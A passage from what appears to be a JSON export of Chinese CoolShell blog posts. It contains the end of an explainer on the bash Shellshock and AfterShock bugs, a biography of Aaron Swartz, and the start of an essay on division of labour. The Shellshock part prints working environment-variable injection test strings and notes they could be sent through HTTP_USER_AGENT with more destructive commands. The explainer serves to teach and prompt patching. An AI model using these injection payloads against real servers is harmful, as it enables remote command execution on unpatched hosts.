coolshell</pre>\n<p>好了，我讲了这么半天的基础知识，别烦，懂了这些，你才会很容易地理解这两个漏洞是怎么回事。</p>\n<p>好，现在要进入正题。</p>\n<h5>bash的bug</h5>\n<p>从上面我们可以看到，bash的变量和函数用了一模一样的机制，如果你用env命令看一下export出来的东西，你会看到上面我们定义的变量和函数都在，如下所示（我省略了其它的环境变量）：</p>\n<pre class=\"EnlighterJSRAW\">$ env\nvar=hello coolshell\nfoo=() { echo \"hello coolshell\"\n}</pre>\n<p>原来，都用同样的方式啊——<strong>无论是函数还是变量都是变量啊</strong>。于是，看都不用看bash的源代码，聪明的黑客就能猜得到——<strong>bash判断一个环境变量是不是一个函数，就看它的值是否以”()”开始</strong>。于是，一股邪念涌上心头。</p>\n<p>黑客定义了这样的环境变量（注：() 和 { 间的空格不能少）：</p>\n<p><code class=\"EnlighterJSRAW\">$ export X='() { echo \"inside X\"; }; echo \"outside X\";'</code></p>\n<p>env一下，你会看到X已经在了：</p>\n<pre class=\"EnlighterJSRAW\">$ env\nX=(){ echo \"inside X\"; }; echo \"outside X\";</pre>\n<p>然后，<strong>当我们在当前的bash shell进程下产生一个bash的子进程时，新的子进程会读取父进程的所有export的环境变量，并复制到自己的进程空间中，很明显，上面的X变量的函数的后面还注入了一条命令：echo “outside X”，这会在父进程向子进程复制的过程中被执行吗？</strong>（关于fork相关的东西你可以看一下我以前写的《<a href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\" title=\"一个fork的面试题\">fork的一个面试题</a>》）</p>\n<p>答案是肯定的。</p>\n<pre class=\"EnlighterJSRAW\">$ export X='() { echo \"inside X\"; }; echo \"outside X\";'\n$ bash\noutside X</pre>\n<p>你看，一个代码注入就这样完成了。这就是bash的bug—— <strong>函数体外面的代码被默认地执行了</strong>。</p>\n<p>我们并不一定非要像上面那样创建另一个bash的子进程，我们可以使用bash -c的参数来执行一个bash子进程命令。就像这个安全漏洞的测试脚本一样：</p>\n<p><code class=\"EnlighterJSRAW\">env VAR='() { :;}; echo Bash is vulnerable!' bash -c \"echo Bash Test\"</code></p>\n<p>其中，() { :;} 中的冒号就相当于/bin/true，返回true并退出。而bash -c其实就是在spawn一个bash的echo的子进程，用于触发函数体外的echo命令。所以，更为友好一点的测试脚本应该是：</p>\n<p><code class=\"EnlighterJSRAW\">env VAR='() { :;}; echo Bash is vulnerable!' bash -c \"echo 如果你看到了vulnerable字样说明你的bash有安全问题\"</code></p>\n<p>OK，你应该明白这个漏洞是怎么一回事了吧。</p>\n<h4>bash漏洞的影响有多大</h4>\n<p>在网上看到好多人说这个漏洞不大，还说这个事只有那些陈旧的执行CGI脚本的网站才会有，现在已经没有网站用CGI了。我靠，这真是无知者无畏啊。</p>\n<p>我举个例子，如果你的网站中有调用操作系统的shell命令，比如你用PHP执行个exec之类的东西。这样的需求是有的，特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。</p>\n<p>我们还知道，现在的HTTP服务器基本上都是以子进程式的，所以，其中必然会存在export 一些环境变量的事，而有的环境变量的值是从用户端来的，比如：HTTP_USER_AGENT这样的环境变量，只由浏览器发出的。其实这个变量你想写成什么就写成什么。</p>\n<p>于是，我可以把这个HTTP_USER_AGENT的环境变量设置成上述的测试脚本，只不过，我会把echo Bash is vulnerable!这个东西换成别的更为凶残的命令。呵呵。</p>\n<p>关于这个漏洞会影响哪些已有的系统，你可以自己Google，几乎所有的报告这个漏洞的文章都说了（比如：<a href=\"https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/\" target=\"_blank\">这篇</a>，<a href=\"https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability\" target=\"_blank\">这篇</a>），我这里就不复述了。</p>\n<p>注：如果你要看看你的网站有没有这样的问题，你可以用这个在线工具测试一下：<a href=\"http://shellshock.brandonpotter.com/\">‘ShellShock’ Bash Vulnerability CVE-2014-6271 Test Tool</a>。</p>\n<p>现在，你知道这事可能会很大了吧。还不赶快去打补丁。（注，yum update bash 把bash版本升级到 4.1.2-15.el6_5.2 ，<!-- <strong>但是这个版本还没有fix CVE-2014-7169，载止本文发布之时，目前还没有正式的CVE-2014-7169的补丁，你可以<a href=\"https://access.redhat.com/security/cve/CVE-2014-7169\" target=\"_blank\">关注Redhat的官方关于CVE-2014-7169 的 ticket</a></strong>--> ）</p>\n<h4>关于 AfterShock – CVE-2014-7169 测试脚本的解释</h4>\n<p>很多同学没有看懂下面这个测试脚本是什么意思，我这里解释一下。</p>\n<p><code class=\"EnlighterJSRAW\">env X='() { (a)=&gt;\\' sh -c \"echo date\"; cat echo</code></p>\n<ul>\n<li>X='() { (a)=&gt;\\’ 这个不用说了，定义一个X的环境变量。但是，这个函数不完整啊，是的，这是故意的。另外你一定要注意，\\’不是为了单引号的转义，X这个变量的值就是 <strong>() { (a)=&gt;\\</strong></li>\n</ul>\n<ul>\n<li>其中的 (a)=这个东西目的就是为了让bash的解释器出错（语法错误）。</li>\n</ul>\n<ul>\n<li>语法出错后，在缓冲区中就会只剩下了 “&gt;\\”这两个字符。</li>\n</ul>\n<ul>\n<li>于是，这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中，然后执行。</li>\n</ul>\n<p>相当于在shell 下执行了下面这个命令：</p>\n<pre class=\"EnlighterJSRAW\">$ &gt;\\\necho date</pre>\n<p>如果你了解bash，你会知道 \\ 是用于命令行上换行的，于是相当于执行了：</p>\n<p><code class=\"EnlighterJSRAW\"> $ &gt;echo date</code></p>\n<p>这不就是一个重定向么？上述的命令相当于：</p>\n<p><code class=\"EnlighterJSRAW\">$ date &gt; echo </code></p>\n<p>于是，你的当前目录下会出现一个echo的文件，这个文件的内容就是date命令的输出。</p>\n<p><strong>能发现这个种玩法的人真是个变态，完全是为bash的源代码量身定制的一个攻击</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/1399.html\"><img alt=\"8个实用而有趣Bash命令提示行\" height=\"150\" src=\"../wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/1399.html\">8个实用而有趣Bash命令提示行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6976.html\"><img alt=\"谈谈数据安全和云存储\" height=\"150\" src=\"../wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6976.html\">谈谈数据安全和云存储</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-9-7 互联网之子 – Aaron Swartz.html",
    "content": "<html><body><p><img alt=\"Aaron_Swartz_profile\" class=\"alignright size-medium wp-image-11929\" height=\"300\" src=\"../wp-content/uploads/2014/09/Aaron_Swartz_profile-216x300.jpg\" width=\"216\"/> 1986年11月8日，有个叫Aaron Swartz的人在美国芝加哥伊利诺伊州出生。因为他父母创办了一个软件公司，所以，Aaron在3岁的时候就接触到了电脑，然后就着迷了。</p>\n<p>我们先通过Aaron Swartz 的青少年时期来看一下他是怎么样的一个天才：</p>\n<p style=\"padding-left: 30px;\">12岁的时候Aaron就创建了一个类似于Wikipedia式的网站（那时还没有Wikipedia），13岁的时候，Aaron赢得为年轻人而设，创作教育及协同非商业网站的<a class=\"new\" href=\"http://en.wikipedia.org/wiki/ArsDigita_Prize\" title=\"ArsDigita Prize\">ArsDigita Prize</a>比赛首名。 奖品包括参观麻省理工学院及与网际网路界的知名人士见会。</p>\n<p style=\"padding-left: 30px;\">14岁的时候，他就成为了<a href=\"http://en.wikipedia.org/wiki/RSS\">RSS1.0</a>的开发组的一员。（后来，他和 <a href=\"http://en.wikipedia.org/wiki/John_Gruber\" title=\"John Gruber\">John Gruber</a>一起开发了Markdown）</p>\n<p style=\"padding-left: 30px;\">15岁的时候，进入W3C的 <a href=\"http://en.wikipedia.org/wiki/Resource_Description_Framework\" title=\"Resource Description Framework\">RDF</a> 核心工作组，并写了RFC3870——这个文档描述了一个新的media type – “<a href=\"http://en.wikipedia.org/wiki/RDF/XML\" title=\"RDF/XML\">RDF/XML</a>“，用于定义互联网上的“<a href=\"http://en.wikipedia.org/wiki/Semantic_Web\" target=\"_blank\">语义网络</a>”</p>\n<p style=\"padding-left: 30px;\">17岁进入斯坦福大学，1年半后，18岁的时候因为受不了教条式的教育缀学，并通过Y Combinator公司的夏季创办人计划成立Infogami软件公司，在那里，他设想了一个Wiki平台来实现他的Internet Open Library——一个开放的网络图书馆。并写了著名的web.py 开发框架。但他觉得自己太年轻，还要有一个合伙人，于是Y Combinator建议他和Reddit合并。于是他在19岁的时候成了Reddit的创始人</p>\n<p style=\"padding-left: 30px;\">虽然Reddit不挣钱，但是相当火，当他20岁的时候（2006年10月），他们把Reddit卖给了<a class=\"mw-redirect\" href=\"http://en.wikipedia.org/wiki/Cond%C3%A9_Nast_Publications\" title=\"Condé Nast Publications\">Condé Nast出版社</a>，据说挣到了百万美金。然后，他去了这家出版社工作，受不了办公室的那种工作环境，2007年1月离职。</p>\n<p>但是，你能想得到这么天才的一个人，于2013年1月11日自杀了么？那年他才26岁。</p>\n<p><span id=\"more-11928\"></span></p>\n<p>从前面Aaron的经历我们可以看到，他是一个特别喜欢Wiki的人，也是非常喜欢开放的人，但并不喜欢那些有CopyRight的东西，也也不喜欢那些循规蹈矩的东西，他喜欢质疑，他喜欢打破常规，他用生命坚持着互联网真正的开放精神。但是这样一来，必然会和守旧的世界相冲突。</p>\n<p>他在YC搞的那个Internet Open Library（互联网开放图书馆）的项目，他就想把那些没有Copyright的书籍和学术期刊放在网上让全世界的人免费查阅。<strong>他就认为固体的图书馆遮蔽了知识的传播，互联网理应成为连接书籍，读者，作者，纸张与思想的最好载体，他非常痛恨任何一家巨型的机构独吞所有书籍的做法。他想把Public Access 变成 Public Domain</strong>。在他的青少年时期，他就在不懈地和一切限制信息自由交换和自由共享的做法做斗争。这是他认为的互联网精神，他同时也觉得这和美国民主自由的宪法的精神是一致的。</p>\n<p>其中有一个例子是这样的，美国法院行政办公室有一个叫 <a href=\"http://en.wikipedia.org/wiki/PACER_(law)\" target=\"_blank\">PACER</a>（Public Access to Court Electronic Records） 的政府服务。这个服务会把法庭记录的文件放在网上，如果你要看的话，一页要付费8美分（注意是每页，不是每个文档，美国政府说这只是成本式的收费），这个事他非常不能理解，他觉得这些文件本来就属于公众，没有CopyRight，为什么属于公众的东西还要收费。PACER这个服务每年可以为政府带来1.2亿美金的收入。</p>\n<p>于是Aaron在2008年9月4日到20日，他22岁的时候，他用Perl在AWS上写了一个程序，从PACER上下载了270万的文档（2000万页，纽约时报里说他下载大约是总量的20%，但是也有人不到总量的1%）。于是FBI对他调查了两个多月，但最终没有对他起诉。（今天，PACER还在收费，不过你可以使用一个叫<a href=\"http://en.wikipedia.org/wiki/RECAP\" title=\"RECAP\">RECAP</a>的Firefox插件来免费浏览当年Aaron下载的相关的法律文档）</p>\n<p>2008年同年，Aaron创建了Watchdog.net –  “the good government site with teeth” 专门用来收集和呈现和政客相关的数据（这个网站访问不到了，不过你可以在<a href=\"http://www.aaronsw.com/weblog/watchdog\" target=\"_blank\">Aaron的blog上看一下他的想法</a>）。然后，他还起草了<i><a href=\"http://openaccessmanifesto.org/\" target=\"_blank\">Guerrilla Open Access Manifesto</a></i>（<a href=\"http://openaccessmanifesto.org/%E6%B8%B8%E5%87%BB%E9%98%9F%E5%BC%80%E6%94%BE%E8%AE%BF%E9%97%AE%E5%AE%A3%E8%A8%80/\" target=\"_blank\">中文版</a>）<i> </i>下面是节选</p>\n<blockquote><p>信息就是能源。但就像所有能源一样，有些人只想占为己有。世界上所有的科学和文化遗产，已在书籍和期刊上发布了数个世纪，正渐渐地被少数私有的公司数字化并上锁。想要阅读那些有着最著名研究成果的论文？你必须支付给如 Reed Elsevier 这样的出版商大把钱。</p>\n<p>…… ……</p>\n<p>我们要夺回信息，无论它们被存在何处，制作我们的副本并和全世界分享。我们要取到版权到期的东西并将它们归档，我们要买下秘密的资料库并将它们放到网上。我们要下载科学期刊并将它们上传到文件分享网络。我们要为游击队开放访问而战。</p>\n<p>只要全世界有足够多的我们，那就不仅是传达了一个反对知识私有化的强有力信号，我们还将让它成为过去。你愿意和我们一起吗？</p>\n<p>亚伦·斯沃茨 (Aaron Swartz) 2008 年 7 月，意大利 Eremo</p></blockquote>\n<p>Aaron觉得那些对人类有价值的科学和文化遗产属于全人类，美国大学每年会向那些出版学术期刊、论文的机构（比如 ISI，Jstor）支付许可费用，许可费用极高，他觉得这是这个时代的悲剧。于是完美主义的他产生了一种责任感。</p>\n<p>2009年，他成立了<a href=\"http://en.wikipedia.org/wiki/Progressive_Change_Campaign_Committee\" title=\"Progressive Change Campaign Committee\">Progressive Change Campaign Committee</a>（进步改变运动委员会），2010年，他又创建了 <a href=\"http://en.wikipedia.org/wiki/Demand_Progress\" title=\"Demand Progress\">Demand Progress</a> （求进会）——利用互联网来组织群众与议会和政府对话。</p>\n<p>也因为Aaron并不理解政府和这个时代的这些荒唐的行为，于是他开始学习各种政治上的东西去寻求突破，这让他在2010年到2011年，在哈佛大学Edmond J. Safra研究实验室以Lab Fellow的身份主导到了“制度腐败”课题的研究。也因为这个身份，Aaron在MIT做访问学者的时候有 <a href=\"http://en.wikipedia.org/wiki/JSTOR\" title=\"JSTOR\">JSTOR</a>的帐号可以通过MIT的网络访问大量的学术期刊。</p>\n<p>于是，他把他的laptop放到了地下室网络交换机的机房中，直接插上网线，然后全天后地下载那些JSTOR的学术期刊。（他利用了这些学术期刊的URL链接中的规律来下载所有的期刊），一开始JSTOR把他的帐号和IP封了，并报告给了警，美国的国家安全警察找到了那间楼道里的机房，然后让JSTOR不禁止他访问，并在那间机房里安了摄像头，钓鱼执法。然后等Aaron去换硬盘时录好像，2011年1月6日就把他给抓了。</p>\n<p>那年Aaron才24岁。2011年7月11日，检查官以通信欺诈、计算机欺诈、非法获得信息，以及破坏被保护的罪名电脑来起诉他。可能会受到35年以上的牢狱之灾。这是相当重的罪名。你能想像得到为什么罪名会这么重吗？</p>\n<p>事后，JSTOR发声明，说他们并不想起诉Aaron，起诉Aaron的是政府行为，而MIT方面虽然也放弃起诉，并也发表了相关的说明——保持中立。保持中立让MIT基本上名誉扫地，因为这种保持中立的行为违背于MIT一贯鼓吹的黑客文化，MIT成了千夫之指。</p>\n<p>当然，美国政府的检查官坚持以重罪起诉他。当时，放在Aaron前有两条路：1）认罪，承认犯下重罪，35年的判决会变成3个月入狱+1年的居家监禁（不得使用电脑），2）不认罪，那就有可能接受35监禁年的最坏结果。Aaron选择了后者，而他的女友则选择了认罪。他的第一任女友后来非常的悔恨，面对国家机器，个体太渺小了。</p>\n<p>在起诉期间，大家是否还记得美国那个臭名昭著的SOPA（ <a href=\"http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act\" title=\"Stop Online Piracy Act\">Stop Online Piracy Act</a>）法案？Aaron通过他的 <a href=\"http://en.wikipedia.org/wiki/Demand_Progress\" title=\"Demand Progress\">Demand Progress</a> 把民众们网聚起来，和政府做斗争，最终导致了整个社会都在反对SOPA，也导致了那些议员纷纷改变自己的想法，并导致了白宫最终放弃了这个法案。这是一次民主的胜利，与Aaron有密切的相关。（相信大家都还记得那时美国各大网站都在反对这个网络审查制度）</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_11930\" style=\"width: 500px;\"><img alt=\"斯沃茨在2012年反对禁止网络盗版法案(SOPA)的抗议活动上发言\" class=\"wp-image-11930\" height=\"331\" src=\"../wp-content/uploads/2014/09/800px-AaronSwartzPIPA.jpg\" width=\"500\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-11930\">斯沃茨在2012年反对禁止网络盗版法案(SOPA)的抗议活动上发言</figcaption></figure>\n<p>而在次年2012年9月，政府对Aaron进行了更为严厉的起诉，新加入了另外9条起诉，如果成立，Aaron最多获刑50年外加100万美金的罚款。同样，检察官给出了优惠条件，只要Aaron认罪，那就只起诉他6个月的监禁。Aaron再次拒绝。</p>\n<p>看到这里，你觉得下载一些期刊，也没有挣钱，为什么要判他这么重呢？这后面有什么故事呢？这是不是更像是一种政治迫害呢（这段时间，好像这些消息并没有进入中国，我们的大多数人依然在使用百度在墙内活得很滋润，另外，这个事在美国那边的IT 圈闹得很大，但似乎也不见各个IT圈的老大们有没有什么表态）</p>\n<p>不过，可以肯定的是，美国政府受够了像阿桑奇这样的人了，而Aaron让美国政府更为害怕在有规模有组织的事，所以一定少不了相关的政治迫害，天下政府一般黑。</p>\n<p>之后，2013年1月11日，Aaron自杀了。大家觉得他是因为来自美国政府的长期恐吓的压力和以及长期的抑郁（理想主义者可能都会有或多或少的抑郁证）</p>\n<p><strong>这就是Aaron Swartz传奇的一生。他用他的生命捍卫了互联网的开放和自由。</strong></p>\n<p><img alt=\"87d31fea0996abbedb297c70b8b0b945_b\" class=\"aligncenter wp-image-11932 size-full\" height=\"337\" src=\"../wp-content/uploads/2014/09/87d31fea0996abbedb297c70b8b0b945_b.jpg\" width=\"600\"/></p>\n<p>互联网之父，<a href=\"http://en.wikipedia.org/wiki/Tim_Berners-Lee\" target=\"_blank\">Tim Berners-Lee</a>，在2012伦敦奥运会上的网络环节我们都见过这个人。世界上第一个web网站是1991年8月6日在CERN内的NeXT服务器上运行（今天这个网站依然可以访问：<a href=\"http://info.cern.ch/hypertext/WWW/TheProject.html\" target=\"_blank\">链接</a>），Tim并被没有用这个发明挣钱，而是无偿地把WWW的构想和设计推广给了全世界。《时代》周刊评论他的时候用了这样的一条话：“与所有的推动人类进程的发明不同，这是一件纯粹个人的劳动成果”。</p>\n<p>而Aaron最崇拜的人就是Tim，Tim也是Aaron的精神导师。</p>\n<p>Aaron死了以后，Aaron朋友和合作者，哈佛大学法学院教授Laurence Lessig，回忆说，他当年和仅15岁的Aaron 有过一次谈话。Aaron问他：“您刚才讲到网络审查和管制的这些弊病，那您有没有什么实际的方案来解决这些问题呢？”Lessig有点尴尬地说：“没有。我是个学者，我只负责做研究，解决问题不关我的事儿。”Aaron接着问：“您是个学者，所以解决问题不关你的事儿。那，您作为一个公民，又该如何呢？”</p>\n<p>有个男孩叫 Jack Andraka，来自巴尔的摩，14岁，阅读了 Aaron 自杀前推广的JSTOR 的免费学术论文，想出了一种提早检测胰腺癌的方法（一般胰腺癌被查出的时候就是你死的时候。）以此，他成功去了约翰霍普金斯大学做研究。Jack说——</p>\n<blockquote><p>“我之所以上了新闻，是因为我们的实验成功了，而这就是为什么 Aaron 做的事有那么重要……这个宇宙中的真理不是只有那些政策制定者曾经弄清楚过的，比如应该限速多少，它还包括那些能让你的孩子，不会因胰腺癌而死的研究。<strong>如果没有访问阅读权，那个能解决你的问题的人，可能就永远找不到答案</strong>。”</p></blockquote>\n<p> </p>\n<p style=\"text-align: center;\"><strong>强烈推荐纪录片——《<a href=\"http://www.tudou.com/programs/view/jefojo_-HjQ/\" target=\"_blank\">互联网之子</a>》</strong></p>\n<p style=\"text-align: center;\"></p>\n<p> </p>\n<p>Aaron说的一句话让我挺有感触的——</p>\n<p style=\"text-align: center;\"><strong>相信你应该真的每时每刻都问自己，现在这世界有什么最重要的事是我能参与去做的？</strong></p>\n<p style=\"text-align: center;\"><strong>如果你没在做那最重要的事，那又是为什么？</strong></p>\n<p> </p>\n<p><img alt=\"aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8\" class=\"aligncenter wp-image-11934\" height=\"375\" src=\"../wp-content/uploads/2014/09/aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8.jpg\" width=\"600\"/></p>\n<p><strong>延伸阅读</strong>：<a href=\"https://coolshell.cn/articles/3363.html\" target=\"_blank\" title=\"偷了世界的程序员\">偷了世界的程序员</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11928.html\">互联网之子 – Aaron Swartz</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-12-13 让我们来谈谈分工.html",
    "content": "<html><body><p><img alt=\"Division of Labour\" class=\"alignright size-full wp-image-17298\" height=\"210\" src=\"../wp-content/uploads/2015/12/Division_of_Labour.jpeg\" width=\"311\"/>昨天，我看到<a href=\"http://spectrum.ieee.org/view-from-the-valley/computing/software/yahoos-engineers-move-to-coding-without-a-net\" target=\"_blank\">一个新闻</a>——雅虎取消了QA团队，工程师必须自己负责代码质量，并使用持续集成代替QA。 同时，也听到网友说，“听微软做数据库运维的工程师介绍，他们也是把运维工程师和测试工程师取消了，由开发全部完成。每个人都是全栈工程师”。于是，我顺势引用了几年前写过一篇文章《<a href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\">我们需要专职的QA吗？</a>》，并且又鼓吹了一下全栈。当然，一如既往的得到了一些的争议和嘲弄;-)。</p>\n<p>有人认为取消QA基本上是公司没钱的象征，这个观点根本不值一驳，属于井底之蛙。有人认为，社会分工是大前提，并批评我说怎么不说把所有的事全干的，把我推向了另外一个极端。另外，你千万不要以为有了分工，QA的工作就保得住了。</p>\n<p>就像《乔布斯传》中乔布斯质疑财务制度的时候说的，有时候，很多人都不问为什么，觉得存在的东西都是理所应当的东西。让我们失去了独立思考的机会。分工也是一样。</p>\n<p>所以，为了说完整分工这个逻辑。请大家耐住性子，让我就先来谈谈“分工的优缺点”吧。</p>\n<p><span id=\"more-17295\"></span></p>\n<h4>分工的优点和缺点</h4>\n<p>首先，分工（Division of Labour）应该是由 <a href=\"https://en.wikipedia.org/wiki/Adam_Smith\" target=\"_blank\">Adam Smith</a> 在1776年的《<a href=\"https://en.wikipedia.org/wiki/The_Wealth_of_Nations\" target=\"_blank\">国富论</a>》中提出来的，Adam在那时候就观察到分工对于手工业生产效率的提高。他将效率提高的原因归结于三点：</p>\n<ul>\n<li>熟练程度的增加。当一个工人单纯地重复同一道工序时，其对这道工序的熟练程度会大幅增加。<strong>表现为产量和质量的提高</strong>。</li>\n<li>如果没有分工，由一道工序转为另一道工序时会损失时间，而分工避免了这中间的损失。</li>\n<li>由于对于工序的了解和熟练度的增加，<strong>更有效率的机械和工具被发明出来，从而提高了产量</strong>。</li>\n</ul>\n<p>分工的确是提高生产力。我想到了福特公司一开始做出来的汽车几乎卖不出去，原因有两个，一个是成本太高，另外是生产太复杂，产能太低。于是福特公司开始把制造一辆汽车的工序分解开来，进行分工，分工给福特公司带来的好处是：</p>\n<ol>\n<li>很多工作可以并行了，而且<strong>因为事情变得简单后，执行力也变强了</strong></li>\n<li>一个非常复杂和高深的汽车制造因为分工后，<strong>很多工作不需要很NB的人来干了，只需要一般劳动者经过简单的培训就可以干了</strong>。而且，越干越熟练，越干越专业，最终可能让合适的人合适的事。</li>\n<li>分工后导致了很多重复劳动可以用技术来解决，于是福特公司出现生产流水线的技术（你是否还记得卓别林《摩登时代》里的工业生产流水线的场景，那取自福特公司）。</li>\n</ol>\n<p>于是，福特公司的生产效率大大提高，最终实现了让每个美国家庭都能买得起汽车的理想，同时让美国成为了轮子上的国家。</p>\n<p>不过，我们需要注意的是，在《国富论》中，Adam他同时也提到，分工如果过细，同样会带来问题——<strong>简单重复的劳动会让人变成一个不会思考的机器，从而越来越笨，进而变成平庸的无技能的人</strong>。自“分工”出现以后，争论就没有停止过。</p>\n<p>Karl Max同样认为<strong>分工越来越细，会导致人的技术越来越差，同时，大量的重复劳动也会导致人对工作的失出热情，产生厌倦和抵触心理，最终会导致生产力的下降</strong>。</p>\n<p>同时，还有一些经济学家也同样表明分工的一些缺点：</p>\n<ul>\n<li><strong>导致人只关注整个事情中的一小块，缺乏全局视角，导致视野受限，没有完全领会工作的意义和目标，从而导致各种返工</strong>。</li>\n</ul>\n<ul>\n<li><strong>对于组织而言，分工也会导致出现大量的沟通协同成本，并出现碎片的生产方式，以及组织的孤岛形式，并不利于提高生产力</strong>。</li>\n</ul>\n<p>当然，奥地利经济学家<a href=\"https://en.wikipedia.org/wiki/Ludwig_von_Mises\" title=\"Ludwig von Mises\">Ludwig von Mises</a> 